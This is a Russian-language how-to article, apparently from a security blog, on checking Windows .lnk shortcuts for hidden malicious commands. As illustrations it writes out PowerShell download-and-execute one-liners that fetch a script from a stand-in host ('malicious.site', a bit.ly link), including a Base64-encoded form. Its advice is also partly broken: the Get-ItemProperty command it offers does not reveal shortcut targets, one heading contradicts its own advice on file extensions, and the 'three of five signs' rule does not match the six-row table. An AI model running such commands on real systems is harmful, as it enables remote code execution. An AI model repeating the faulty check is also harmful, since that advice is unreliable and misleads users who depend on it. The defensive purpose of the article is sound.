Как проанализировать файл .lnk на предмет скрытых команд

Как проанализировать файл .lnk на предмет скрытых команд

Вы открыли файл с расширением .lnk — и он вдруг запустил что-то странное. Может, PowerShell, может, скрипт, может, вообще не то, что должно было открыться. Вы не уверены, безопасен ли этот ярлык. Или, может, вы нашли его на флешке, в письме, в папке с загрузками — и теперь думаете: «А что внутри?»

Файлы .lnk — это не просто ярлыки. Под маской удобного быстрого доступа они могут скрывать вредоносные команды. И если вы не умеете их проверять — вы рискуете. Я не говорю о теории. Я говорю о том, как на практике разобраться, что творится в этом файле, за пять минут и без специального ПО.

Почему .lnk — это не просто ярлык

Файл .lnk — это бинарный файл, который Windows использует, чтобы хранить информацию о том, куда вести пользователя. Но он может содержать не только путь к программе. Там могут быть:

  • аргументы командной строки;
  • путь к скрипту или PowerShell-команде;
  • переменные среды, которые маскируют реальное назначение;
  • указание на запуск с правами администратора;
  • скрытые параметры, которые запускают вредоносный код без ведома пользователя.

Например, ярлык может выглядеть как «Служебная программа Windows.lnk» — и открывать «notepad.exe». Но на самом деле в его свойствах прописано:

cmd.exe /c powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/script.ps1')"

Именно так работают многие атаки: человек думает, что запускает полезную утилиту, а на деле скачивается и выполняется вредоносный скрипт. И всё — система заражена.

Как посмотреть, что внутри .lnk — пошагово

Не нужно скачивать «анализаторы ярлыков». Windows сама даёт вам всё, что нужно. Вот как это сделать:

  1. Кликните правой кнопкой по файлу .lnk и выберите «Свойства».
  2. Перейдите на вкладку «Ярлык».
  3. Посмотрите на поле «Объект». Это то, что запускается. Если там что-то вроде cmd.exe, powershell.exe, wscript.exe — это тревожный знак. Особенно если рядом с ним есть длинная строка параметров.
  4. Поле «Рабочая директория» — может содержать путь к временной папке, например %TEMP% или C:\Users\%USERNAME%\AppData\Local\Temp. Это тоже не норма для легитимного ярлыка.
  5. Поле «Запускать» — если стоит «Скрытый», это значит, что окно программы не появится. Злоумышленники так маскируют запуск скриптов.
  6. Поле «Комбинация клавиш» — если она задана, но ярлык лежит в папке, где не должно быть горячих клавиш — это подозрительно.

Если в поле «Объект» просто указано C:\Program Files\SomeApp\app.exe — всё нормально. Если там powershell.exe -ep bypass -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMALgBzAGkAdABlAC8AcwBjAHIAaQBwAHQALgBwAHMAMQAiACkA — это явно вредоносный код. Это Base64-кодированная команда. Расшифровать её можно, но не обязательно — если вы видите -enc, это почти всегда плохо.

Что смотреть, если «Объект» — это PowerShell

PowerShell — легитимный инструмент Windows. Но злоумышленники используют его чаще всего. Вот как понять, что именно он делает:

  • -nop — не загружать профиль. Зачем? Чтобы обойти ограничения безопасности.
  • -ep bypass — обойти политику выполнения скриптов. Нормальный пользователь не использует это.
  • -w hidden — скрытый режим. Никаких окон — вы ничего не увидите.
  • -enc — закодированный текст. Это Base64. Если вы видите длинную строку из букв, цифр и знаков =, +, / — это вредоносный скрипт, скрытый в кодировке.
  • -c — выполнить команду. Если после неё идёт длинная строка — это не просто «открыть сайт».

Пример подозрительной команды:

powershell -nop -ep bypass -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/abc123xyz')

Это скачивает скрипт с внешнего сайта и выполняет его. Без вашего ведома. И всё это — в ярлыке, который вы «нажали случайно».

Сравнение: легитимный ярлык vs вредоносный

Параметр Легитимный ярлык Вредоносный ярлык
Объект Путь к .exe или .msc, например: C:\Windows\System32\calc.exe cmd.exe, powershell.exe, wscript.exe с длинными аргументами
Рабочая директория Папка приложения, например: C:\Program Files\Adobe %TEMP%, C:\Users\...\AppData\Local\Temp
Запускать Обычный или «Нормальное окно» «Скрытый»
Параметры Пустые или простые (например, /open) Длинные строки с -nop, -ep bypass, -enc, IEX, DownloadString
Иконка Соответствует приложению (например, иконка Калькулятора) Иконка, похожая на Word, Excel, PDF — но файл не имеет расширения .docx и т.п.
Расположение Папки приложений, рабочий стол, меню «Пуск» Загрузки, папки с электронными письмами, флешки, почтовые вложения

Если у ярлыка хотя бы три из пяти признаков из правого столбца — он опасен. Не запускайте. Удалите.

Что делать, если вы уже открыли подозрительный .lnk?

Если вы случайно запустили ярлык — не паникуйте. Но действуйте быстро:

  1. Отключите интернет. Это остановит скачивание вредоносного кода.
  2. Закройте все окна. Не ждите, пока что-то «само завершится».
  3. Откройте Диспетчер задач (Ctrl+Shift+Esc). Найдите подозрительные процессы: powershell.exe, wscript.exe, cscript.exe, cmd.exe, запущенные из %TEMP%. Завершите их.
  4. Проверьте папку %TEMP%. Нажмите Win+R, введите %TEMP%, нажмите Enter. Удалите все недавно созданные .exe, .ps1, .vbs, .js файлы.
  5. Просканируйте систему антивирусом. Даже если он не сработал — он может найти следы.
  6. Смените пароли, если вы вводили их после запуска файла — особенно для банков, почты, корпоративных систем.

Не полагайтесь на то, что «ничего не произошло». Вредоносные скрипты могут работать тихо — и запускать ключлоггеры, криптомайнеры или подключаться к C2-серверу через несколько часов.

Частые ошибки

Люди допускают одни и те же ошибки — и это приводит к заражению. Вот основные:

  • Думают, что если файл «выглядит как .exe» — он безопасен. Файл .lnk может иметь иконку Word, но быть вредоносным.
  • Не смотрят свойства. Просто кликают — и всё. Никто не проверяет, что в «Объекте».
  • Доверяют именам файлов. «Счет-2024.lnk» — кажется, это документ. На самом деле — это PowerShell, который крадёт ваши файлы.
  • Полагаются на антивирус. Многие вредоносные .lnk не определяются как вирусы — потому что используют легитимные инструменты Windows (PowerShell, cmd).
  • Игнорируют «Скрытый» запуск. Думают: «Окно не появилось — значит, ничего не запустилось». Нет. Это как раз признак злонамеренности.

Когда и как проверять .lnk — сценарии

Не все .lnk опасны. Но вы должны уметь отличать нормальное от подозрительного. Вот когда и как действовать:

  • Ситуация: вы получили ярлык по почтене открывайте. Удалите. Даже если он от «бухгалтерии» или «IT-отдела». Это почти всегда фишинг.
  • Ситуация: вы скачали архив с сайтапроверяйте все .lnk перед запуском. Особенно если это «инструкция.lnk» или «документ.lnk».
  • Ситуация: вы нашли ярлык на флешкене запускайте. Сначала проверьте свойства. Если видите «cmd.exe» или «powershell.exe» — удаляйте. Флешки — частый вектор заражения.
  • Ситуация: ярлык лежит на рабочем столе, и вы его сами создалипроверьте его свойства. Возможно, вы случайно добавили параметр, который не замечали. Особенно если вы копировали команду из интернета.
  • Ситуация: ярлык в папке «Пуск» — запускает приложениеможет быть безопасен. Но если это «Excel.lnk», а в «Объекте» — powershell.exe — это подмена. Удалите и переустановите программу.

Как лучше делать — практические рекомендации

Вот что реально помогает избежать проблем:

  • Всегда смотрите свойства .lnk перед запуском. Это занимает 10 секунд. Делайте это как привычку — даже если файл от «друга».
  • Отключите отображение расширений файлов — это опасно. Включите: Панель управления → Параметры папок → «Скрыть расширения для известных типов файлов» — снимите галочку. Тогда вы увидите, что «документ.docx.lnk» — это не документ, а ярлык.
  • Используйте PowerShell-команду для быстрой проверки. Откройте PowerShell от имени администратора и введите:
Get-ItemProperty "C:\путь\к\файлу.lnk" | Select-Object TargetPath, Arguments, WorkingDirectory

Это покажет вам содержимое ярлыка в текстовом виде — без открытия окна свойств. Полезно, если ярлык повреждён или не открывается.

  • Не запускайте .lnk из папок загрузок. Это самая частая точка входа для атак.
  • Установите правило: если ярлык запускает cmd.exe или powershell.exe — он вредоносный, пока не докажет обратное.
  • Используйте антивирус с поведенческим анализом — например, Windows Defender с включённой «Защитой от вредоносных программ в реальном времени» и «Защитой от эксплойтов». Он может остановить PowerShell-атаку, даже если файл не опознан как вирус.

Что делать дальше

Если вы читаете это — вы уже на шаг впереди. Большинство людей не знают, что .lnk можно анализировать. Вы знаете.

Ваша задача — не бояться ярлыков. Ваша задача — проверять их. Каждый раз. Даже если вы «уверены». Потому что вредоносные файлы становятся всё хитрее. Они не выглядят как вирусы. Они выглядят как «нужные» файлы.

Сделайте это привычкой:

  1. Клик правой кнопкой → «Свойства».
  2. Смотрите «Объект».
  3. Если там cmd.exe, powershell.exe, wscript.exe — не запускайте.
  4. Если есть -enc, -nop, -ep bypass — это точно плохо.
  5. Если всё чисто — можно запускать.

Это не сложнее, чем проверить, не сгорела ли лампочка. Но это может спасти ваш компьютер, ваши данные и вашу репутацию.

Информация в этой статье носит ознакомительный характер. Если вы подозреваете заражение системы, обратитесь к специалисту по кибербезопасности. Самостоятельное вмешательство в систему может усугубить ситуацию.

Оцените статью
PEFile — Безопасность и технологии простым языком